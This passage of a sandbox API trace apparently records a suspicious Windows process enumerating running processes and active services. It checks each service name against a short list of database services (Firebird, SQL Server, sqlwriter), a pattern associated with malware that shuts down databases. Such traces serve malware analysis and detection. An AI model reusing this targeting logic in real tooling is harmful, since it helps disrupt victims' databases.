th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0315.243] lstrlenW (lpString="dllhost.exe") returned 11 [0315.243] Process32NextW (in: hSnapshot=0x4b0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0315.244] CloseHandle (hObject=0x4b0) returned 1 [0315.244] Sleep (dwMilliseconds=0x1f4) [0315.769] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0315.769] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0315.770] GetLastError () returned 0xea [0315.770] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0315.770] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0315.770] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0315.770] lstrlenW (lpString="Appinfo") returned 7 [0315.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0315.771] lstrlenW (lpString="AppXSvc") returned 7 [0315.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0315.771] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0315.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0315.771] lstrlenW (lpString="Audiosrv") returned 8 [0315.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0315.771] lstrlenW (lpString="BFE") returned 3 [0315.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0315.771] lstrlenW (lpString="BITS") returned 4 [0315.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0315.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0315.771] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0315.771] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0315.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0315.772] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0315.772] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0315.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0315.772] lstrlenW (lpString="CDPSvc") returned 6 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0315.772] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0315.772] lstrlenW (lpString="ClickToRunSvc") returned 13 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0315.772] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0315.772] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0315.772] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0315.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0315.772] lstrlenW (lpString="CryptSvc") returned 8 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0315.772] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0315.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0315.772] lstrlenW (lpString="DcomLaunch") returned 10 [0315.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0315.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0315.772] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0315.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0315.773] lstrlenW (lpString="DeviceAssociationService") returned 24 [0315.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0315.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0315.773] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0315.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0315.773] lstrlenW (lpString="Dhcp") returned 4 [0315.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0315.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0315.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0315.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0315.773] lstrlenW (lpString="Dnscache") returned 8 [0315.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0315.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0315.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0315.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0315.773] lstrlenW (lpString="DoSvc") returned 5 [0315.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0315.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0315.773] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0315.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0315.773] lstrlenW (lpString="DPS") returned 3 [0315.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0315.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0315.773] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0315.773] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0315.774] lstrlenW (lpString="DusmSvc") returned 7 [0315.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0315.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0315.774] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0315.774] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0315.774] lstrlenW (lpString="EventLog") returned 8 [0315.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0315.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0315.774] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0315.774] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0315.774] lstrlenW (lpString="EventSystem") returned 11 [0315.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0315.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0315.774] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0315.774] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0315.774] lstrlenW (lpString="FontCache") returned 9 [0315.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0315.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0315.774] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0315.774] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0315.774] lstrlenW (lpString="gpsvc") returned 5 [0315.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0315.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0315.774] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0315.774] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0315.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0315.774] lstrlenW (lpString="iphlpsvc") returned 8 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0315.775] lstrlenW (lpString="KeyIso") returned 6 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0315.775] lstrlenW (lpString="LanmanServer") returned 12 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0315.775] lstrlenW (lpString="LanmanWorkstation") returned 17 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0315.775] lstrlenW (lpString="lfsvc") returned 5 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0315.775] lstrlenW (lpString="lmhosts") returned 7 [0315.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0315.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0315.775] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0315.775] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0315.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0315.776] lstrlenW (lpString="LSM") returned 3 [0315.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0315.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0315.776] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0315.778] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0315.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0315.779] lstrlenW (lpString="MapsBroker") returned 10 [0315.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0315.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0315.779] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0315.779] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0315.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0315.779] lstrlenW (lpString="MpsSvc") returned 6 [0315.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0315.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0315.780] lstrlenW (lpString="NcbService") returned 10 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0315.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0315.780] lstrlenW (lpString="netprofm") returned 8 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0315.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0315.780] lstrlenW (lpString="NgcSvc") returned 6 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0315.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0315.780] lstrlenW (lpString="NlaSvc") returned 6 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0315.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0315.780] lstrlenW (lpString="nsi") returned 3 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0315.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0315.780] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0315.780] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0315.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0315.780] lstrlenW (lpString="PcaSvc") returned 6 [0315.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0315.781] lstrlenW (lpString="PlugPlay") returned 8 [0315.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0315.781] lstrlenW (lpString="Power") returned 5 [0315.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0315.781] lstrlenW (lpString="ProfSvc") returned 7 [0315.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0315.781] lstrlenW (lpString="RpcEptMapper") returned 12 [0315.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0315.781] lstrlenW (lpString="RpcSs") returned 5 [0315.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0315.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0315.781] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0315.781] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0315.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0315.781] lstrlenW (lpString="SamSs") returned 5 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0315.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0315.782] lstrlenW (lpString="Schedule") returned 8 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0315.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0315.782] lstrlenW (lpString="SecurityHealthService") returned 21 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0315.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0315.782] lstrlenW (lpString="SENS") returned 4 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0315.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0315.782] lstrlenW (lpString="ShellHWDetection") returned 16 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0315.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0315.782] lstrlenW (lpString="Spooler") returned 7 [0315.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0315.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0315.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0315.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0315.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0315.783] lstrlenW (lpString="SSDPSRV") returned 7 [0315.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0315.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0315.783] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0315.783] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0315.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0315.783] lstrlenW (lpString="StateRepository") returned 15 [0315.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0315.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0315.783] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0315.783] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0315.783] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0315.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x52c [0315.786] Process32FirstW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0315.786] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0315.798] lstrlenW (lpString="System") returned 6 [0315.799] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, 